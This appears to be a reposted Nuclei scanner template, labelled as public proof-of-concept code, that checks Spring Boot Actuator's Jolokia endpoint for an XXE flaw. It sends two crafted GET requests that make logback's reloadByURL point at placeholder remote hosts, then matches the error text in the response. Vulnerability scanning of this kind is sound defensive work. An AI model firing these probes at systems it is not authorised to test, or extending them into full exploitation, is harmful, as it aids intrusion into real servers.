A vulnerability in Spring Boot Actuators's 'jolokia' endpoint allows remote attackers to perform an XML External Entities (XXE) attack and include content stored on a remote server as if it was its own. This has the potential to allow the execution of arbitrary code and/or disclosure of sensitive information from the target machine.
PoC代码[已公开]
id: springboot-actuators-jolokia-xxe
info:
name: Spring Boot Actuators (Jolokia) XXE
author: dwisiswant0,ipanda
severity: high
description: A vulnerability in Spring Boot Actuators's 'jolokia' endpoint allows remote attackers to perform an XML External Entities (XXE) attack and include content stored on a remote server as if it was its own. This has the potential to allow the execution of arbitrary code and/or disclosure of sensitive information from the target machine.
reference:
- https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
- https://github.com/mpgn/Spring-Boot-Actuator-Exploit
metadata:
max-request: 2
tags: springboot,jolokia,xxe,vuln
http:
- method: GET
path:
- "{{BaseURL}}/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml"
- "{{BaseURL}}/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "http:\\/\\/nonexistent:31337\\/logback.xml"
- "reloadByURL"
- "JoranException"
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100f3439442c8dd21dcfc9d783d84e9f9a39f3bef584f6b865fdd19e1c379c78190022100b88e4065de88d408120cb9b11c25a03f876838f7ddda845bd6906212260ca3e5:922c64590222798bb761d5b6d8e72950